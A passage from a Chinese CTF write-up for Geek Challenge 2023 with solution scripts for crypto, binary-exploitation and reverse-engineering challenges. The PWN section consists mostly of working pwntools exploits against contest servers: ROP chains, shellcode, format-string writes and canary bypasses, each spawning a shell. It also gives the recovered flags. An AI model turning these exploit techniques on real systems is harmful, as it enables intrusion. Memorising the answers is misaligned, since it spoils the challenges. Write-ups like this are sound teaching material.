    p.sendlineafter(b'Give me a0,...a5,a6: ', ((str(a)+',')*i + (str(b)+',')*(7-i))[:-1].encode())

p.interactive()

Algebra

数据很多,加密只有xor

#utf-8
#sage


import os
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from secret import flag,e
from functools import reduce

assert reduce(lambda x,y:x&y,[i^3 - 10*i^2 + 31*i - 30==0 for i in e])

LEN = 32
flag = pad(flag,36)

def LongArray(t:list):
    return [bytes_to_long(t[i]) for i in range(len(t))]

def BytesArray(t:list):
    return [long_to_bytes(t[i]) for i in range(len(t))]

def xor(a, b):
    return bytes([a[i%len(a)] ^^ b[i%len(b)] for i in range(max(len(a), len(b)))])

def ArrayXor(a:list,b:bytes):
    return [xor(a[i],b) for i in range(len(a))]

def scissors(flag:bytes):
    return [flag[i:i+len(flag)//3] for i in range(0, len(flag), len(flag)//3)]

def challenge(m: bytes, bits: int, level: int):
    p = getPrime(bits)
    M = random_matrix(Zmod(p), LEN).matrix_from_rows_and_columns(range(LEN), range(LEN-level))
    c = vector(GF(p), m) * M
    return {"p": p, "M": M.list(), "c": c.list()}

def groebner_challenge(m,e):
    p = getPrime(1024)
    s = sum(m)
    c = [pow(m[i],e[i],p) for i in range(3)]
    c.insert(0,s)
    c.insert(0,p)
    return c

key = os.urandom(LEN)
Get_key = challenge(key,256,0x10)

S_bytes = scissors(flag)
C_bytes = ArrayXor(S_bytes,key)
C_long  = LongArray(C_bytes)

groebner_challenge = groebner_challenge(C_long,e)

with open('keyTask.chall', 'w') as f:
    f.write(f"{Get_key}")

with open('groebnerTask.chall','w') as f:
    f.write(f"{groebner_challenge}")

先通过

assert reduce(lambda x,y:x&y,[i^3 - 10*i^2 + 31*i - 30==0 for i in e])

求e 

for i in range(100):
    if i^3 - 10*i^2 + 31*i - 30 == 0:
        print(i)

e = [2,3,5]

再通过s,和c求a1,a2,a3(前边的部分很小可直接开根号)

s = 192597139210277682598060185912821582569043452465684540030278464832244948354365
c = [5415723658972576382153559473862560277755192970021711034483296770242757614573901416501357332661976379693731699836578087114136761491831672836130172409491889, 210713951733721296094981135225517096332793112439184310028590576805069783972692891743044656754643189870169698041576462365740899368554671164493356650858567594970345928936103914826926922045852943068526737627918609421198466329605091625, 93558120697660628972553751937347865465963385519812302371069578286123647411810258547153399045605149278436900736665388355004346922404097196048139360206875149390218160164739477798859206611473675859708579299466581718543909912951088772842957187413726251892347470983848602814387339449340072310561011153714207338630]
a1 = c[0].nth_root(2)
a2 = c[1].nth_root(3)
a3 = s-a1-a2 

再通过头一点点爆破后边的部分

b = [l2b(v) for v in [a1,a2,a3]]
k4 = list(xor(b[0][:4],b'SYC{'))
key = k4+[0]*28

key[4] = 141
key[5] = 236
key[6] = 196
key[7] = 125
key[8] = 153
key[9] = 121
key[10] = 243
l = 11
for i in range(256):
    key[l] = i 
    tk = key[:l+1]
    r = [xor(b[i][:l+1], tk) for i in range(3)]
    if all(1<=j[l]<=0x7e for j in r):
        print(i, r)

#104 [b'SYC{You_are_', b'really_algeb', b'ra_master}\x02\x02']
#SYC{You_are_really_algebra_master}\x02\x02

GoGoCrypto 未完成

PWN

nc_pwntools

不全是测试,需要过两关,一个是输入指定字符,另一个是算式计算

from pwn import *

p = remote('pwn.node.game.sycsec.com', 30707)
context.log_level = 'debug'

p.sendafter(b'!!!', b'Syclover'.rjust(0x64, b'a'))

p.recvuntil(b'one\n')
v = eval(p.recvuntil(b'=?', drop=True))
p.sendline(str(v).encode())

p.interactive()

password

密码对了就能过关,不过密码是从/dev/urandom取得的没法计算

int init()
{
  FILE *stream; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen("/dev/urandom", "r");
  fgets(password, 64, stream);
  return fclose(stream);
}

由于是通过字符串比较,所以当password第1个字符是0时即可通过。爆破即可

from pwn import *

bin_sh = 0x402013
leave_ret = 0x4013af
pop_rdi = 0x401423
bss = 0x404800
elf = ELF('./password')
context(arch='amd64',log_level = 'error')

while True:
    p = remote('pwn.node.game.sycsec.com', 30664)
    #p = process('./password')

    p.sendafter(b"please enter user name:\n", flat(0,0,0,0, bss, 0x401324))
    p.sendlineafter(b"please enter password:\n", b'\x00'*8)
    v = p.recvline()
    if b'Wrong' in v:
        p.close()
        continue 
    print(v)
    print('--------------------------------')
    #gdb.attach(p, 'b*0x4013af\nc')
    context(arch='amd64',log_level = 'debug')
    p.sendafter(b"please enter user name:\n",flat(pop_rdi,bin_sh,elf.plt['system'],0, bss-0x28, leave_ret))
    p.sendlineafter(b"please enter password:\n", b'\x00'*8)
    p.sendline(b'cat flag')
    p.interactive()
    break

ret2text

溢出时改一字节到后门

[极客大挑战2023] Crypto/PWN/Reverse_第2张图片

from pwn import *
p = remote('pwn.node.game.sycsec.com', 30020)
context(arch='amd64',log_level = 'debug')
p.sendafter(b"The simplest but not too simple pwn\n", b'\x00'*0x58 + p8(0x27))
p.interactive()

 write1

可以给任意地址加一个值

[极客大挑战2023] Crypto/PWN/Reverse_第3张图片

加到后门就行了

ret2libc 

gets溢出,PIE未开,直接ROP

from pwn import *

context(arch='amd64', log_level='debug')

pop_rbp = 0x000000000040119d # pop rbp ; ret
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
leave_ret = 0x40126d 

elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')

#p = process('./ret2libc')
p = remote('pwn.node.game.sycsec.com', 31607)
#gdb.attach(p, "b*0x40126c\nc")

p.sendlineafter(b"This challenge no backdoor!", flat(0,0,0, pop_rsi, elf.got['write'], 0, 0x401288, elf.sym['main']))
libc.address = u64(p.recv(8)) - libc.sym['write']
print(f"{libc.address = :x}")

p.sendlineafter(b"This challenge no backdoor!", flat(0,0,0, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))

p.interactive()

ezpwn

写入shellcode然后执行。

[极客大挑战2023] Crypto/PWN/Reverse_第4张图片

不过有点短,先执行次读再写shellcode 

from pwn import *

#p = process('./ezpwn')
p = remote('pwn.node.game.sycsec.com', 30947)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x80101a\nc")

#p.send(b'/bin/sh\x00'+ asm('push 0x3b;pop rax;mov rdi,rsp; mov rsi,rbp; syscall'))
p.send(b'/bin/sh\x00'+ asm('xor rax,rax;push 0xf0;pop rdx; syscall').ljust(11, b'\x90') + b'\x90'*0x10+asm(shellcraft.sh()))

p.interactive()

MIPS 不会

write2

与write1基本相同,只是由原来的加改为=,写shellcode然后跳过去

from pwn import *

#p = process('./w2')
p = remote('pwn.node.game.sycsec.com', 30198)
context(arch='amd64', log_level='debug')

shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"

#gdb.attach(p, "b*0x5555555552fd\nc")

p.recvuntil(b":")
stack = int(p.recvline(), 16) + 4

p.sendline(shellcode)

for i,v in enumerate(p64(stack)):
    p.sendlineafter(b"index:", str(40+i).encode())
    p.sendlineafter(b"value:", f"{v:02x}".encode())

p.sendlineafter(b"index:", b'-1')

p.interactive()

fmt1.0

有一小点溢出,但可执行printf

[极客大挑战2023] Crypto/PWN/Reverse_第5张图片

利用printf泄露地址,先移下栈到bss再ROP

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./fmt1.0')

#p = process('./fmt1.0')
p = remote('pwn.node.game.sycsec.com', 31665)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x4012c8\nc')

pop_rbp = 0x00000000004011bd # pop rbp ; ret
pop_rdi = 0x0000000000401353 # pop rdi ; ret
pop_rsi = 0x0000000000401351 # pop rsi ; pop r15 ; ret
leave_ret = 0x4012c8
bss = 0x404900
vuln = 0x401274
p.sendafter(b"Please enter your username: ", b'%15$s'.ljust(0x48,b'\x00')+ flat(elf.got['puts'],bss, vuln))
p.recvuntil(b'Hello,')
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")
p.sendafter(b"Please enter your username: ", flat(b'/bin/sh\x00', pop_rdi+1, pop_rdi, bss-0x50, libc.sym['system']).ljust(0x50, b'\x00')+ flat(bss-0x50, leave_ret))

p.interactive()

white_canary

有溢出但是有canary,发现canary格式不大正常,在init里找到生成算法。

[极客大挑战2023] Crypto/PWN/Reverse_第6张图片

算出canary就OK了

from pwn import *
from ctypes import cdll,c_uint64


clibc = cdll.LoadLibrary("./libc.so.6")
def sar4(a):
    if (a>>63)&1:
        return (a>>4)+ (0xf<<60)
    else:
        return a>>4

def sar8(a):
    if (a>>63)&1:
        return (a>>8)+ (0xff<<56)
    else:
        return a>>8

#p = process('./chal')
p = remote('pwn.node.game.sycsec.com', 31874)
context(arch='amd64', log_level='debug')

seed = clibc.time(0)%60
v2 = c_uint64()
v3 = c_uint64()
canary = c_uint64()

for i in range(1):
  clibc.srand(seed)
  v2.value = clibc.rand()
  v3.value = clibc.rand()
  canary.value = sar4(v2.value) ^ (16 * v3.value + sar8(v3.value) * (v2.value << 8)) 
  canary.value = canary.value>>32
  print(f"{ canary.value = :x}")
  canary.value += (((v2.value >> 48) + (v2.value << 16) * (v3.value >> 16)) ^ (v3.value << 48)) << 32
  print(f"{ canary.value = :x}")

#gdb.attach(p, "b*0x401509\nc")

p.sendafter(b"Please enter your name:", asm(shellcraft.open('./flag')+shellcraft.read('rax', 0x404800, 0x50)+ shellcraft.write(1, 0x404800, 0x50)))

p.sendlineafter(b"tell me something:", flat(0, canary.value, 1, 0x4040e0))

p.interactive()

 ez_fullprotection

game函数存在未初始化漏洞,通过-号绕过泄露加载地址

[极客大挑战2023] Crypto/PWN/Reverse_第7张图片

[极客大挑战2023] Crypto/PWN/Reverse_第8张图片 consolation_prize是通过进程启动的,可以通过溢出覆盖canary,最后orw(不清楚为什么system不成)

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./ez_fullprotection')
libc = ELF('./libc.so.6')

#p = process('./ez_fullprotection')
p = remote('pwn.node.game.sycsec.com', 30117)
#gdb.attach(p,"b*0x55555555558d\nc")

p.sendlineafter(b"Tell me your name: ", b"A")
p.sendlineafter(b"Enter your guess : ", b'-')
p.recvuntil(b"but you entered ")
elf.address = int(p.recvline()[:-2]) - 0x1240
print(f"{ elf.address = :x}")

pop_rdi = elf.address + 0x16e3
pop_rsi = elf.address + 0x16e1 #rsi,r15
leave_ret = elf.address + 0x1675 
bss = elf.address + 0x4050

#p.sendlineafter(b"This should work.\n> \n", b'A'*0x1000+b'\n\n')

#覆盖thread里的canary,不能过长
p.sendlineafter(b"This should work.\n> \n", b'\x00'*0x38+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.address + 0x1541).ljust(0x900, b'\x00'))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")

#不清楚为啥system不成功 用execve(/bin/sh,*0,*0)
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = next(libc.search(asm('syscall;ret')))
p.sendlineafter(b"This should work.\n> \n", b'\x00'*0x38+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), pop_rsi,elf.address+0x4800,0,pop_rdx, elf.address+0x4800,pop_rax,59, syscall ))

p.interactive()

why_n0t_puts

也是个老套题了,在前些天单次调用里用的模板。用add [rbp-0x3d],rbx这个gadget和ppp6,mov call实在单次调用。

from pwn import *

elf = ELF('./why_n0t_puts')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

context(arch='amd64', log_level='debug')

ret = 0x00401163
add_dword_rbp_0x3d_ebx_ret = 0x0040111c  # 0: 01 5d c3  add    DWORD PTR [rbp-0x3d], ebx
'''
#__do_global_dtors_aux
.text:0000000000401156 C6 05 0B 2F 00 00 01          mov     cs:completed_8061, 1
.text:000000000040115D 5D                            pop     rbp
.text:000000000040115E C3                            retn
'''

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004011ca  #__libc_csu_init
mov_call = 0x004011a7
'''
# __libc_csu_init
......
.text:0000000000401257 31 DB                         xor     ebx, ebx
.text:0000000000401259 0F 1F 80 00 00 00 00          nop     dword ptr [rax+00000000h]
.text:0000000000401260 4C 89 F2                      mov     rdx, r14
.text:0000000000401263 4C 89 EE                      mov     rsi, r13
.text:0000000000401266 44 89 E7                      mov     edi, r12d
.text:0000000000401269 41 FF 14 DF    call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040126D 48 83 C3 01                   add     rbx, 1
.text:0000000000401271 48 39 DD                      cmp     rbp, rbx
.text:0000000000401274 75 EA                         jnz     short loc_401260
.text:0000000000401276 48 83 C4 08                   add     rsp, 8
.text:000000000040127A 5B                            pop     rbx
.text:000000000040127B 5D                            pop     rbp
.text:000000000040127C 41 5C                         pop     r12
.text:000000000040127E 41 5D                         pop     r13
.text:0000000000401280 41 5E                         pop     r14
.text:0000000000401282 41 5F                         pop     r15
.text:0000000000401284 C3                            retn
.text:0000000000401284                               ; } // starts at 401220
'''
bss = elf.bss(0)  #stdout
buf = elf.bss(0x40)

def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        0, 1, rdi, rsi, rdx, addr, mov_call,
        0, 0, rbp, 0, 0, 0, 0,
    ])

def add(off, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_dword_rbp_0x3d_ebx_ret,
    ])

payload1 = b'\x00' * 0x38 + flat([
    add(0x6e69622f, buf),                                         #0x404080 /bin/sh\0
    add(0x0068732f, buf + 4),
    0x401136
])

payload2 = b'\x00' * 0x38 + flat([
    add(libc.sym['system'] - libc.sym['read'], elf.got['read']),   #0x404040 修改stdout为system
    ret2csu(rdi=buf, addr=elf.got['read'])
])


#p = process('./why_n0t_puts')
p = remote('pwn.node.game.sycsec.com', 30770)

#gdb.attach(p, "b*0x401162\nc")

p.send(payload1.ljust(0x100,b'\x00'))
p.send(payload2)
p.sendline(b'cat /flag')

p.interactive()

EVA

先通过移栈让canary落在s位置然后泄露。得到canary就是简单的rop

[极客大挑战2023] Crypto/PWN/Reverse_第9张图片

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./EVA')
libc = ELF('./libc.so.6')

#p = process('./EVA')
p = remote('pwn.node.game.sycsec.com', 31985)

#gdb.attach(p, "b*0x401370\nc")

bss = 0x404f00
p.sendlineafter(b"Do you know \n", b'2') #move stack
p.sendafter(b"I'll punish you to go back and watch\n", flat(bss, 0x40128e))

p.sendlineafter(b"Do you know \n", b'2') 
p.sendafter(b"I'll punish you to go back and watch\n", flat(bss+8, 0x401302))
canary = p.recv(0x38)[-8:]
print('canary:', canary.hex())

pop_rdi = 0x401423
pop_rsi = 0x401421
pop_rbp = 0x4011dd
p.sendline(b'1')
p.sendafter(b"marvelous! We are like-minded!\n", canary*10 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp, bss-0x100, 0x401349))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")

p.sendafter(b"marvelous! We are like-minded!\n", canary*10 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))

p.interactive()

fmt2.0

给了两次printf

 [极客大挑战2023] Crypto/PWN/Reverse_第10张图片

 第1次泄露,第2次循环回来,后边每次次一段rop,后边一个循环

from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./fmt2.0')
libc = ELF('./libc.so.6')

#p = process('./fmt2.0')
p = remote('pwn.node.game.sycsec.com', 30410)

#gdb.attach(p, "b*0x5555555552f0\nc")

p.sendafter(b"str:", b'%19$p,%21$p,%23$p,')
libc.address = int(p.recvuntil(b',', drop=True),16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0xf0  #ret
elf.address = int(p.recvuntil(b',', drop=True),16) - elf.sym['main']
print(f"{ libc.address = :x} { stack = :x} { elf.address = :x}")

def write_v(target, v0):
    v1 = v0&0xffff 
    v2 = (v0>>16)&0xffff
    v3 = (v0>>32)&0xffff
    pay = f"%{v1}c%13$ln%{(v2-v1)&0xffff}c%14$hn"
    if v3 == v2:
        pay += f"%15$hn"
    else:
        pay += f"%{(v3-v2)&0xffff}c%15$hn"
    return pay.encode().ljust(0x38, b'\x00')+flat(target,target+2,target+4)
    

p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))

pop_rdi = elf.address + 0x1363
bin_sh  = next(libc.search(b'/bin/sh\x00'))

p.sendafter(b"str:", write_v(stack+8,pop_rdi))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))

p.sendafter(b"str:", write_v(stack+0x10,bin_sh))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))

p.sendafter(b"str:", write_v(stack+0x18,libc.sym['system']))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))

p.sendafter(b"str:", write_v(stack, pop_rdi+1))
p.sendafter(b'str:', b'\x00')

p.interactive()

elevator

主程序里有一个抬栈,然后计算抬的高度,让v[0]落在canary的位置,然后当canary是一些符合double格式的特殊情况时%lf会将值打印出来。

[极客大挑战2023] Crypto/PWN/Reverse_第11张图片

[极客大挑战2023] Crypto/PWN/Reverse_第12张图片 

 

from pwn import *
import struct
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./elevator')
pop_rdi = 0x00000000004016f3 # pop rdi ; ret

while True:
    #p = process('./elevator')
    p = remote('pwn.node.game.sycsec.com', 30006)
    p.sendlineafter(b"Tell me your name so i can let you in:", b'A')
    p.sendlineafter(b"Please enter the floor you want to reach:", b'34')
    p.sendlineafter(b"How long do you think you have to wait?", b'-')
    msg = p.recvline()
    if b"Oh!bad!" in msg or b"0.000000s later" in msg:
        p.close()
        continue 
    print(msg) #'Wow! -1496845727231311872.000000s later,Senior o2takuXX opened the door for you\n'
    canary = struct.pack('

fmt3.0

当printf中串不在栈里的时候一般会用到两条链,rbp和argv,这里给的次数只有3次,又要作两次造循环,所以需要两个链全用。

void game()
{
  hack();
  hack();
  hack();
}
void hack()
{
  void *buf; // [rsp+8h] [rbp-8h]

  buf = malloc(0x400uLL);
  puts("hack me!");
  read(0, buf, 0x400uLL);
  printf((const char *)buf);
  free(buf);
}

这里可以造循环,不要说程序员划水,循环还是有些复杂,不如复制粘贴。 

from pwn import *

#p = process('./fmt3.0')
p = remote('pwn.node.game.sycsec.com', 31351)
context(arch='amd64', log_level='debug')

elf = ELF('./fmt3.0')
libc = ELF('./libc.so.6')

#gdb.attach(p, "b*0x5555555552ad\nc")

#1,leak
p.sendafter(b"hack me!\n", b"%8$p,%13$p,%9$p,")
stack = int(p.recvuntil(b',', drop=True),16) 
libc.address = int(p.recvuntil(b',', drop=True),16) - 243 - libc.sym['__libc_start_main']
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x12c1
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

pop_rdi = libc.address + 0x0000000000023b6a # pop rdi ; ret
pop_rdi2 = libc.address + 0x00000000000248f2 # pop rdi ; pop rbp ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#2, 8->10->13
tail = (stack-8)&0xff
p.sendafter(b"hack me!\n", f"%{tail}c%8$hhn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

#15->43->ret
print(f"{pop_rdi2 = :x}")
tail = (stack+0x18)&0xffff
p.sendafter(b"hack me!\n", f"%{tail}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{pop_rdi2&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+2}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(pop_rdi2>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+4}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(pop_rdi2>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

#bin/sh
print(f"{bin_sh = :x}")
p.sendafter(b"hack me!\n", f"%{tail+8}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{bin_sh&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+10}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(bin_sh>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+12}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(bin_sh>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

print(f"{system = :x}")
p.sendafter(b"hack me!\n", f"%{tail+24}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{system&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+26}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(system>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.sendafter(b"hack me!\n", f"%{tail+28}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(system>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())

p.interactive()

'''
0x00007fffffffde20│+0x0000: 0x0000555555555100  →  <_start+0> endbr64    ← $rsp
0x00007fffffffde28│+0x0008: 0x000055555555b2a0  →  0x0000000000000000
0x00007fffffffde30│+0x0010: 0x00007fffffffde40  →  0x00007fffffffde50  →  0x0000000000000000    ← $rbp   8->10-> 0x18 game_ret
0x00007fffffffde38│+0x0018: 0x00005555555552c1  →   mov eax, 0x0
0x00007fffffffde40│+0x0020: 0x00007fffffffde50  →  0x0000000000000000
0x00007fffffffde48│+0x0028: 0x00005555555552f4  →   mov eax, 0x0
0x00007fffffffde50│+0x0030: 0x0000000000000000
0x00007fffffffde58│+0x0038: 0x00007ffff7df9083  →  <__libc_start_main+243> mov edi, eax
0x00007fffffffde60│+0x0040: 0x00007ffff7ffc620  →  0x0006010c00000000
0x00007fffffffde68│+0x0048: 0x00007fffffffdf48  →  0x00007fffffffe292  →  "/home/kali/ctf/1116/fmt3.0"  15->43-> 0x38 ret rop_chain
'''

Reverse

shiftjmp

感觉要写不下了,简单写

a = b'SXAxS6jd8doTxBQ{x"Ma\'csE-|El,o/{^\'
b = bytes([i^a[i] for i in range(len(a))])
SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}

点击就送的逆向题

from pwn import p64
a = [5569930572732194906,6219552794204983118,6722278119083037265,5570191165376843081]
b = b''.join([p64(a) for v in a])
c = bytes([i-7 for i in b])
SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF
SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

easymath

tab = '01234_asdzxcpoityumnbAOZWXGMY'
x = [BitVec(f'x_{i}', 5) for i in range(5)]
m = bytes.fromhex('121D10131B081F08171E1D031C0A15121D08101C0B1E071407')

M = matrix(Zmod(0x20), 5,5,list(m))
A = matrix(Zmod(0x20),5,5)
for i in range(5):
    A[i,i] = 1

K = M.solve_left(A)
'''
sage: M
[18 29 16 19 27]
[ 8 31  8 23 30]
[29  3 28 10 21]
[18 29  8 16 28]
[11 30  7 20  7]
sage: A
[1 0 0 0 0]
[0 1 0 0 0]
[0 0 1 0 0]
[0 0 0 1 0]
[0 0 0 0 1]
sage: K
[11 19  9  5 12]
[14  6 22 27 16]
[26 28 29 29 11]
[ 4 31 22 13  8]
[27 29 10 16 16]
'''
v = []
for i in K:
    v += i 
    
v = [11, 19, 9, 5, 12, 14, 6, 22, 27, 16, 26, 28, 29, 29, 11, 4, 31, 22, 13, 8, 27, 29, 10, 16, 16]

#checkposition(const char *flag, const char *table, __int64 pos)
#pos[i] = table.index(flag[i]) + 48

#exchange(&position, &number)
#pos = num[pos[i]-48]

num = list(bytes.fromhex('0102030405060708090A0B0C0D0E1013161A1B1C1D1F2032333435363738'))
#exchange  pos[i] = num[pos[i]-48]
#v2 = [i if i in num else 32+i for i in v]
pos = [num.index(i) for i in v]

flag = [tab[i] for i in pos]
#xtd4co_ymiunbbx3Aypsmbzii
#SYC{xtd4co_ymiunbbx3Aypsmbzii}

幸运数字

>>> ord('S')
83
>>> ord('\r')
13
>>> 83^13
94
>>> for i in range(0x3e8):
...     a = sum(list(range(i)))%0xd3
...     if a==94:
...         print(i)
...
70
。。。

D:\02023_ctf\1108_Geek\r>幸运数字.exe
输入你的幸运数字(0-999):69
根据您输入的数字系统生成的flag为(温馨提示若flag不符合SYC{}的格式即为错误flag!):
SYC{C0ngratulati0nnnns_You_gAessEd_R1ght}

听说cpp很难?

c = [77,95,61,-123,55,104,115,87,39,104,81,89,127,38,107,89,115,87,85,91,89,111,106,89,39,87,114,87,79,87,120,120,-125]
c = [i&0xff for i in c]

m = [(i+10)^10 for i in c]
bytes([i-10 for i in m])
#SYC{Anma1nG_y0u_maKe_it_1alaIa~~}

砍树

a = bytes.fromhex('002020171B360E362617042A2907261552332D0F3A271106330746173D0A3C382E2218')
b = b"Syclove"
xor(a,b)
SYC{t@ke_thE_bul1_By_the_h0rns_TAT}

flower-or-tea

from ctypes import *
 
v16 = [0]*38
v16[0] = 0x9AF9464B
v16[1] = 0xC417B89E
v16[2] = 0xB217A713
v16[3] = 0xC93BA9E8
v16[4] = 0x94F3E44E
v16[5] = 0xB5CC2AB5
v16[6] = 0x4451E42C
v16[7] = 0x7A8A289A
v16[8] = 0x53C8D008
v16[9] = 0x6E117B49
v16[10] = 0x9BFFD794
v16[11] = 0x5EFF2DF9
v16[12] = 0x17E72531
v16[13] = 0xDFBD9979
v16[14] = 0x8F871B3A
v16[15] = 0x73E8C5AC
v16[16] = 0xB28670A6
v16[17] = 0x5AF6A369
v16[18] = 0x2CF7DA24
v16[19] = 0x347B66AF
v16[20] = 0xB9C84D60
v16[21] = 0x911E912F
v16[22] = 0xBD5A2F9B
v16[23] = 0xCB96733A
v16[24] = 0xC59968BE
v16[25] = 0xA00013E9
v16[26] = 0xC12F4EA4
v16[27] = 0xDE863A10
v16[28] = 0xA0C4D594
v16[29] = 0x4380983C
v16[30] = 0x7E2F7648
v16[31] = 0xE54DDC89
v16[32] = 0x3F27A690
v16[33] = 0xB58D3199
v16[34] = 0x604AE517
v16[35] = 0x9C903984
v16[36] = 0xF4E04481
v16[37] = 0x3CF4EDFF
'''
  for ( i = 0; i < a1; ++i )
  {
    v1 += sum ^ (*(_DWORD *)(a3 + 4 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
    v0 += (*(_DWORD *)(a3 + 4 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
    sum += 0x31415927;
  }
'''
def decrypt(v):
    rnd = 54
    k = [32,27,39,44]
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta = 0x31415927
    sum1 = c_uint32((delta) * rnd)
    for i in range(54):       
        sum1.value -= delta       
        v0.value -= (sum1.value + k[sum1.value&3]) ^ (v1.value + ((v1.value >> 5)^(v1.value << 4)))
        v1.value -= sum1.value^(sum1.value + k[(sum1.value>>11)&3])^(v0.value + ((v0.value >> 5)^(v0.value << 4)))
    return v0.value, v1.value

#从前后各取1个字节加密
f1 = []
f2 = []
for i in range(0, len(v16), 2):
    c1,c2 = decrypt(v16[i:i+2])
    f1.append(c1)
    f2.append(c2)

print(bytes(f1))
print(bytes(f2)[::-1])

SYC{D0_Yov_1ike_To_dRink_Flow3r_teA??}

mySelf

#将动调导出SMC恢复的代码复制回
'''
data = open('self.exe','rb').read()
smc = open('self.dat','rb').read()
open('self1.exe', 'wb').write(data[:0x7b0]+ smc + data[0x7b0+0x90:])
'''
from pwn import u32,p32
c = bytes.fromhex('F0F9BDBDC49461E22591798019C20F1F15186AEBC572F584853ACC40BB2AA3D2')
c = [u32(c[i:i+4]) for i in range(0, len(c), 4)]
from ctypes import c_uint32
def decrypt(v):
    rnd = 32
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    delta = 0x61C88647
    sum1 = c_uint32((-delta) * rnd)
    for i in range(rnd):       
        v1.value -= ((v0.value>>5)+4)^(v0.value*16+3)^(sum1.value+v0.value)
        v0.value -= ((v1.value>>5)+2)^(v1.value*16+2)^(sum1.value+v1.value)
        sum1.value += delta       
    #print(sum1.value)
    return p32(v0.value)+p32(v1.value)

flag = b''
for i in range(0,len(c),2):
    flag += decrypt(c[i:i+2])
print(flag)
#SYC{H0w_7o_R@te_YOurs31f_iNtRo?}
''' sub_4013b0 TEA 4组*2
    v4 = 32;
    result = *v1;
    do
    {
      sum -= 1640531527;
      v3 += ((result >> 5) + 2) ^ (16 * result + 2) ^ (sum + result);
